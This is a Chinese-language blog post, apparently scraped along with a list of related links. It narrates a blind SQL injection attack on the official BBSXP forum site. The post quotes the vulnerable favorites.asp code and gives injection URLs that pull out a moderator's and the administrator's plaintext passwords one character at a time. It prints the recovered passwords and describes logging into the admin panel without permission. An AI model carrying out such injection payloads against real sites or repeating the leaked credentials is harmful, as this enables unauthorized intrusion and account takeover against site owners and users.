漏洞分析
序:
有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性!
他非常的cool,i like!呵呵,不知道你看过这部电影没有?
不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前台区长密码.
3.利用漏洞,得到后台密码.
4.添加公告,闪人!

开始工作:

到bbsxp官方网站下载最新的bbsxp。

第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************源代码***************************************************//
<%

if request.cookies("username")="" then
error("
您还还未登陆社区")
end if

select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已经添加到网络收藏夹!")

case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的无用代码略掉********************************//

看到代码了,首先要注册使用本功能.
然后在这个asp文件中提交的参数有:menu,id就这两个值.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。

攻击演示

第二步,利用漏洞,得到前台管理员密码.

接到上面的来。我们测试一下这个漏洞是不是存在.
自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。

现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的.

提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)

呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就del了id为576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。
count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。

最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9位.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。
因为正确一个就会del一个收藏地址。

采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错.

本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。
所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。

当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.
在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj

这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.证明第一个字符的asc码大于100。
相反,你也可以这样测试:..asc(mid(userpass,1,1))<105
如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103
如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系]
这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。
添加收藏也慢得要死。
好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj

第三步:得到后台管理密码;

看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.
我们要的就是他。我们就要取到这个字段的值.
这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条.

再次利用我们第二步的漏洞.进行猜解.
一样的办法。得到后台密码长度为:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
刚好正确。
想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。

猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出来了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出来了。前两位是bb.

呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。

现在我们用left函数取前5位
说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又对了。呵呵,还有四位,想不出来了。我们又破到了两位.
前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。
兄弟们都想了好久,最后想到了cool试试吧!!!
最了,最后居然对了。就是cool密码就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)

现在有前台的账号,和后台的密码。进去发布公告吧!

第四步:发布公告.
进入后台我们发布了记他注意脚本安全的公告,然后闪人!

结束句:
前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!
我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!
我们也一样会努力认真的再次对你们的论坛进行测试的

利用最基本的SQL注入渗透BBSXP官方网站的台后管理(科普)相关推荐

  1. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  2. 如何防止网站被SQL注入攻击之java网站安全部署

    SQL注入攻击(SQL injection)是目前网站安全以及服务器安全层面上是最具有攻击性,危害性较高,被黑客利用最多的一个漏洞,基本上针对于网站代码,包括JAVA JSP PHP ASP apac ...

  3. 【2·未知攻焉知防】 如何利用SQL注入,结合图片马渗透入侵服务器

    1. 概述 此文原出自[爱运维社区]:  http://www.easysb.cn SQL注入漏洞是由于对字符串的过滤不严格导致的,根据数据外带方式不同,可分为时间盲注,bool盲注,错误等等很多种. ...

  4. 如何使用加密的Payload来识别并利用SQL注入漏洞

    写在前面的话 密码学具有诸多优点,信息的保密性同样离不开密码学,但是从历史经验来看,在保护应用和数据安全方面我们绝对不能过分依赖于密码学.在这篇文章中,安全教育培训专家SunilYadav将会讨论一个 ...

  5. SQLMap 扫描利用SQL注入

    一.SQLMap介绍 SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL .Oracle .Postgre ...

  6. php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  7. 利用sql报错帮助进行sql注入

    我们可以利用sql报错帮助进行sql注入,这里以sql server 为例: sql查询时,若用group by子句时,该子句中的字段必须跟select 条件中的字段(非聚合函数)完全匹配,如果是se ...

  8. 视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用

    SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营 刘畅 ¥15.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...

  9. 网站漏洞修复方案防止SQL注入攻击漏洞

    SQL注入漏洞在网站漏洞里面属于高危漏洞,排列在前三,受影响范围较广,像asp..net.PHP.java.等程序语言编写的代码,都存在着sql注入漏洞,那么如何检测网站存在sql注入漏洞? SQL注 ...

最新文章

  1. java和node.js 2018_2018,Node.js社区最值得关注的三个话题
  2. python中repeat函数用法
  3. JAVA-初步认识-第八章-继承-单继承和多重继承
  4. 软件测试基础课程学习笔记2--贯穿软件生命周期的测试活动
  5. tableau 倒序都倒了_tableau 网络图与弧线图绘制
  6. Redis面试题汇总(附答案),面试突击专用
  7. ntko php,NTKO 附件管理控件_
  8. 传输线阻抗方程的推导
  9. linux卸载驱动命令,卸载打印机驱动程序 (Linux)
  10. android会员管理,基于Android平台的会员管理系统设计与实现
  11. C# 如何批量删除Excel单元格中的公式只保留数据
  12. 性能测试模型-曲线拐点模型-压力曲线分析图
  13. jsp+ssm计算机毕业设计逸尘房屋销售管理系统【附源码】
  14. python中functools的partiaethod_Python中functools模块函数解析
  15. 国产最强开源 API 网关
  16. 【kali-漏洞利用】(3.4)免杀Payload 生成工具(下):Veil后门使用、监听失败原因
  17. Docker 架构之Daemon
  18. 颜色帮你缓解职场压力 给你的心情换个色
  19. 电子技术基础(三)__电路分析基础__正弦交流电的相量表示法
  20. 亚商投资顾问早餐FM/0213金融资产分类

热门文章

  1. 《烟灰缸里的回忆》第一章节
  2. java一句话木马连接_一句话木马使用方法总结
  3. Chrome浏览器添加自定义搜索引擎-快速进行站内搜索
  4. 《通信技术导论(原书第5版)》——1.6 广域网加速和优化
  5. ubuntu下chrome浏览器安装flash插件(pepperflashplugin-nonfree)
  6. Oracle BIEE EVALUATE系列使用数据库函数
  7. xbox one 越狱_如何在没有Xbox One的情况下更新Xbox One控制器的固件
  8. kaldi群和kaldi新手群
  9. 搭建gitlab-ce超详细流程(馋哭了)
  10. jaudiotagger获取MP3文件信息及封面图片